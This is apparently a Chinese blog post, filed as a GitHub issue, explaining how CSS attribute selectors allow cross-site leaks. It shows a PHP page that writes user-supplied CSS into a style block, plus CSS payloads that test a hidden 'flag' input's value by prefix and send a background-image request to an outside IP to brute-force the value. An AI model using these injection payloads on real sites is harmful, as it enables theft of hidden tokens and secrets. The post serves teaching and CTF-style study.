Aaisui / Blog

Aaisui的博客。
5 stars 0 forks source link

利用css达成xs-lerks #18

Open Aaisui opened 3 years ago

Aaisui commented 3 years ago

原理

其实原理来说并不困难,如果我们翻阅过css的选择器的话就可以找到这么一段说明:

css选择器

/* 存在href属性并且属性值包含"example"的<a> 元素 */
a[href^="#"] {
  background-color: gold;
}

/* 包含 "example" 的链接 */
a[href*="example"] {
  background-color: silver;
}

/* 包含 "insensitive" 的链接,不区分大小写 */
a[href*="insensitive" i] {
  color: cyan;
}

/* 包含 "cAsE" 的链接,区分大小写 */
a[href*="cAsE" s] {
  color: pink;
}

/* 以 ".org" 结尾的链接 */
a[href$=".org"] {
  color: red;
}
https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors

在这种情况下,我们可以获取到任意隐藏元素的值。假如有这么一段代码:

<html>
<style>
    <?=preg_replace('#</style#i', '#', $_POST['css']) ?>
</style>
<form>
    <input name="Email" type="text" value="test">
    <input name="flag"  value="202cb962ac59075b964b07152d234b70"/>
    <input type="submit" value="提交">
</form>
</html>

如果我们想要选择到这个flag标志,就可以通过如下方法:

input[value="202cb962ac59075b964b07152d234b70"]{
        background: url(http://81.69.201.65:1234);
    }

即可选中元素,并且强大的选择器还允许我们通过多个括号加更多的条件,上面的选择我们也可以更精确的写为:

input[name="flag"][value="202cb962ac59075b964b07152d234b70"]{
        background: url(http://81.69.201.65:1234);
    }

如何外带

其实根据上面所写我们就可以猜想到了,只需要通过调控:

input[name="flag"][value^="flag{"]{
background: url(http://81.69.201.65:1234);
}

就可以通过枚举的方法爆破出值,如果匹配到,通过background的操作就可以使得数据访问我们的VPS了